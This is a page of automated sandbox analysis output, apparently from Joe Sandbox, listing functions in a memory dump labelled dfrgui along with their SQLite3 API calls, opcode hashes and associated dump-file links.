Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: localtimesqlite3_mutex_entersqlite3_mutex_leavesqlite3_result_error
String ID:
API String ID: 2374424446-0
Opcode ID: 827466f45b83966ac30bfc7bf5ca05898db6c59b99879be65fd394a527d67c2a
Instruction ID: 409844891523f88886f7834abeec37d07d6e027c299ec10d5dfcda427ce9be53
Opcode Fuzzy Hash: 827466f45b83966ac30bfc7bf5ca05898db6c59b99879be65fd394a527d67c2a
Instruction Fuzzy Hash: 6151F774D08359CFEB20DFA9C884B9DBBF1BF49308F108599D448AB285D7759A84CF52

Uniqueness

Uniqueness Score: -1.00%

Function 61E3944A Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 61E1988D: sqlite3_malloc.SQLITE3 ref: 61E198BA

sqlite3_free.SQLITE3 ref: 61E39476

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_stricmp.SQLITE3 ref: 61E394A9
sqlite3_free.SQLITE3 ref: 61E39549

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mallocsqlite3_mutex_entersqlite3_stricmp
String ID:
API String ID: 3567284914-0
Opcode ID: 51e1f9aca7c4950d6ef01b1d072735239844f8cf5418fc0a8e00eb1ea77a4c74
Instruction ID: 324dc7dfa0aa15ac84d8a32362829b96576e9520db4ebd4c4628efdcec72c002
Opcode Fuzzy Hash: 51e1f9aca7c4950d6ef01b1d072735239844f8cf5418fc0a8e00eb1ea77a4c74
Instruction Fuzzy Hash: F531F87590426A9FDB00DFA9C48469EBBF0FF89308F24C469D495A7351DB39E882CF61

Uniqueness

Uniqueness Score: -1.00%

Function 61E1F800 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

sqlite3_malloc64.SQLITE3 ref: 61E1F840

Part of subcall function 61E19E92: sqlite3_initialize.SQLITE3 ref: 61E19E9D

sqlite3_value_dup.SQLITE3 ref: 61E1F893
sqlite3_result_error_nomem.SQLITE3 ref: 61E1F8C8

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_initializesqlite3_malloc64sqlite3_result_error_nomemsqlite3_value_dup
String ID:
API String ID: 2961385374-0
Opcode ID: b851badaf6e55b6bf999abe542d9ea4e540164cc3e4c20426ab48a5bceae2a32
Instruction ID: 1fd5d8aa3848d7be665d5d446f7289994f23a79047d91b0c60f9b96a63a9e919
Opcode Fuzzy Hash: b851badaf6e55b6bf999abe542d9ea4e540164cc3e4c20426ab48a5bceae2a32
Instruction Fuzzy Hash: 9A31F8B5A042198FCB00DFA9C481A9EFBF1FF88314F15856AE848EB315D735E991CB91

Uniqueness

Uniqueness Score: -1.00%

Function 61E3DF02 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E3DF0E

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_mutex_enter.SQLITE3 ref: 61E3DF2E
sqlite3_vfs_find.SQLITE3 ref: 61E3DF6D
sqlite3_mutex_leave.SQLITE3 ref: 61E3E06C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializesqlite3_vfs_find
String ID:
API String ID: 321126751-0
Opcode ID: 0124bbcddc4683bbdb1862ba3c722b3477c831713c853466f33d080d3be2860d
Instruction ID: 556d5ff210a6a9dda9e20fccd96b93403789d07dc4e8b7565a9921f2bfbde692
Opcode Fuzzy Hash: 0124bbcddc4683bbdb1862ba3c722b3477c831713c853466f33d080d3be2860d
Instruction Fuzzy Hash: 3141713581CAE88EC7228B7A85947D9BFF1DF97718F1986D9D4C487342C234C589CB61

Uniqueness

Uniqueness Score: -1.00%

Function 61E25F80 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

sqlite3_value_blob.SQLITE3 ref: 61E25F97
sqlite3_snprintf.SQLITE3 ref: 61E25FE4
sqlite3_snprintf.SQLITE3 ref: 61E26052
sqlite3_result_text.SQLITE3 ref: 61E26081

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_value_blob
String ID:
API String ID: 3596987688-0
Opcode ID: 373ba197613c6f8d5a1cd2f4a0ec1a07bdebb2db5a83a0715513c98f4b5c900e
Instruction ID: fdcfb8a3130a5aeb140bc70c888933f5b022729a26285a9ac8816fd6f9d2e5df
Opcode Fuzzy Hash: 373ba197613c6f8d5a1cd2f4a0ec1a07bdebb2db5a83a0715513c98f4b5c900e
Instruction Fuzzy Hash: C731C5B1A047469FC700DF69C881A9EBBF4BF89364F24C92DE4A8D7350D738D9518B91

Uniqueness

Uniqueness Score: -1.00%

Function 61E229F2 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E22A68
sqlite3_snprintf.SQLITE3 ref: 61E22B00
sqlite3_snprintf.SQLITE3 ref: 61E22B20
sqlite3_free.SQLITE3 ref: 61E22B28

Part of subcall function 61E12EAE: sqlite3_free.SQLITE3 ref: 61E12F54

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_snprintf$sqlite3_win32_is_nt
String ID:
API String ID: 4082161338-0
Opcode ID: 093940a7889a174a1f3ae7046bcff3f7e6bbd7464fc83dd9ec95bc8711af41e5
Instruction ID: 5a571a6d3adf4b97babb97a7da5551c124310bc1e8b124b05cf76e957d722eea
Opcode Fuzzy Hash: 093940a7889a174a1f3ae7046bcff3f7e6bbd7464fc83dd9ec95bc8711af41e5
Instruction Fuzzy Hash: BA31C5B09183469FD7009FBAD45875EBBF4AF98748F20C82DE498A7340D779C5458F92

Uniqueness

Uniqueness Score: -1.00%

Function 61E1484D Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,?,00000000,?,61E1499A), ref: 61E1487B
sqlite3_mutex_leave.SQLITE3(?,?,?,?,00000000,?,61E1499A), ref: 61E148D2
sqlite3_mutex_enter.SQLITE3(?,?,?,?,00000000,?,61E1499A), ref: 61E148EF
sqlite3_mutex_leave.SQLITE3(?,?,?,?,00000000,?,61E1499A), ref: 61E14916

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 259db5889659de2d2c308670a2c4fa89ebd14ca763fcc91cb4c1c85057c26422
Instruction ID: 98b3974ddeb9be72d564ac681d9998bea179d934b70f7bf183d7b58a7ea06e2a
Opcode Fuzzy Hash: 259db5889659de2d2c308670a2c4fa89ebd14ca763fcc91cb4c1c85057c26422
Instruction Fuzzy Hash: 1F117CB0A58E528FDB00AFAAC0D165D77F4EB8A30CB25843EE944CB304D734D895CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E27FF9 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E28027
sqlite3_stricmp.SQLITE3 ref: 61E28037

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmpsqlite3_value_text
String ID:
API String ID: 3779612131-0
Opcode ID: 4b7560af78cbf8a3319734162f80bf5957b3f4f0bbf9a95336c2f020651f58a1
Instruction ID: 47228baa062e787dc95852d9032b453ba7d0c7ff1f67cb2aa64f7e0ec53a6115
Opcode Fuzzy Hash: 4b7560af78cbf8a3319734162f80bf5957b3f4f0bbf9a95336c2f020651f58a1
Instruction Fuzzy Hash: C3115175A047499BD700AF69C885A8EBBA0FB85334F64CA2DF9648B380D335D5518F81

Uniqueness

Uniqueness Score: -1.00%

Function 61E283D3 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E2837B
sqlite3_value_text16le.SQLITE3 ref: 61E28393
sqlite3_value_text.SQLITE3 ref: 61E283A2
sqlite3_mutex_leave.SQLITE3 ref: 61E283BF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leavesqlite3_value_textsqlite3_value_text16le
String ID:
API String ID: 1617396527-0
Opcode ID: 18a11f3dcb1498ff2aea97aa18ca472c20c8bc7996fc5f0300641e320d2d0473
Instruction ID: 6af4fa79bcf1b52e72f471ab3fa4c4bf4bbd7ee3a269bc3543763537b059e9b2
Opcode Fuzzy Hash: 18a11f3dcb1498ff2aea97aa18ca472c20c8bc7996fc5f0300641e320d2d0473
Instruction Fuzzy Hash: 98118F74A447058FC704DF69C8D0F6EBBE5AB89214F25C43ED8598B360D738E482DB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E25D82 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E25DAD
sqlite3_value_bytes.SQLITE3 ref: 61E25DBD
sqlite3_value_bytes.SQLITE3 ref: 61E25DD3
memmove.MSVCRT ref: 61E25DFF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytes$memmovesqlite3_aggregate_context
String ID:
API String ID: 1185593704-0
Opcode ID: f802bc984e00e7a015f1f2915b05754100339f99a3d50a0d2c2ae44e8932936e
Instruction ID: a2f55cf1af3e075487e02f3776a0ea5d06037b5279dd927072b647da4c3d66c2
Opcode Fuzzy Hash: f802bc984e00e7a015f1f2915b05754100339f99a3d50a0d2c2ae44e8932936e
Instruction Fuzzy Hash: 631151716043458FDB04DF68CA9874ABBE4FF85318F15C86DE8888B309E774D855CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E3B6F2 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E3B70A
sqlite3_mutex_leave.SQLITE3 ref: 61E3B732
sqlite3_mprintf.SQLITE3 ref: 61E3B743

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_create_function_v2.SQLITE3 ref: 61E3B788

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_create_function_v2sqlite3_initializesqlite3_mprintfsqlite3_mutex_entersqlite3_mutex_leavesqlite3_vmprintf
String ID:
API String ID: 946922136-0
Opcode ID: 65c71662b4594ba616edb3bd8505c6b9ffea93db2f597e5e2bfef5ec459412c3
Instruction ID: 9b1fcf6078e1543df84834b03562bddee35c51883163b1aa263a5591b884d7f1
Opcode Fuzzy Hash: 65c71662b4594ba616edb3bd8505c6b9ffea93db2f597e5e2bfef5ec459412c3
Instruction Fuzzy Hash: 2B1115B4A087169BD7009F69C48135ABBE5EFC4358F24C82EE8888B340D779D9468B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D9F2 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E3DA44
sqlite3_result_error.SQLITE3 ref: 61E3DA5E
sqlite3_free.SQLITE3 ref: 61E3DA66
sqlite3_result_error_nomem.SQLITE3 ref: 61E3DA70

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_error_nomem
String ID:
API String ID: 3282944778-0
Opcode ID: c9d0a8279b0fb6d10f9e88e8124fd5b7dcd7021539c717121c1d728819c928c7
Instruction ID: 9276bc9ff7edeea20d4d8603c27d464a7db3b48ee85314ebcbb52e7a01ab52b9
Opcode Fuzzy Hash: c9d0a8279b0fb6d10f9e88e8124fd5b7dcd7021539c717121c1d728819c928c7
Instruction Fuzzy Hash: 0B0161B4D083569AD7109FA5C54065EFBF4BFC4368F24C92DD8A887340E738C582CB52

Uniqueness

Uniqueness Score: -1.00%

Function 61E92415 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E92421

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_mutex_enter.SQLITE3 ref: 61E9243B
sqlite3_realloc64.SQLITE3 ref: 61E92470
sqlite3_mutex_leave.SQLITE3 ref: 61E92498

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializesqlite3_realloc64
String ID:
API String ID: 1177761455-0
Opcode ID: 262aae676e64ef39d73fc9681c8c0a99e9b2db7323ee6721a11ee9490caddcd8
Instruction ID: 600d10899b22b097efbaf2c478a74df7be6fbb1c66e02aa89fb4a824cfdc99cd
Opcode Fuzzy Hash: 262aae676e64ef39d73fc9681c8c0a99e9b2db7323ee6721a11ee9490caddcd8
Instruction Fuzzy Hash: C3019A74648B428BDB10AF79C88471ABBF4FB8A748F24887CC588CB300E771D8418791

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D2D7 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_vmprintf.SQLITE3 ref: 61E3D2F8

Part of subcall function 61E38ACB: sqlite3_initialize.SQLITE3 ref: 61E38AD2
Part of subcall function 61E38ACB: sqlite3_str_vappendf.SQLITE3 ref: 61E38B1D

sqlite3_mprintf.SQLITE3 ref: 61E3D322
sqlite3_free.SQLITE3 ref: 61E3D32D
sqlite3_free.SQLITE3 ref: 61E3D340

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initializesqlite3_mprintfsqlite3_str_vappendfsqlite3_vmprintf
String ID:
API String ID: 3342067426-0
Opcode ID: 07e5b18904b5d9ccb0728645222c3b366c9ea9ada50209f98aeb96753600a031
Instruction ID: a16d80c3e7785ae92544863e38b0ac3845678f14062f8dfa7d7a998e82dbeda9
Opcode Fuzzy Hash: 07e5b18904b5d9ccb0728645222c3b366c9ea9ada50209f98aeb96753600a031
Instruction Fuzzy Hash: D801DEB4A0835A9FD7409FBAD48465ABBF4FF88754F60882DD998C7300E734D851CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E23C4D Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E23C67
sqlite3_free.SQLITE3 ref: 61E23C86
sqlite3_mutex_leave.SQLITE3 ref: 61E23C97
sqlite3_mutex_enter.SQLITE3 ref: 61E23CA4

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
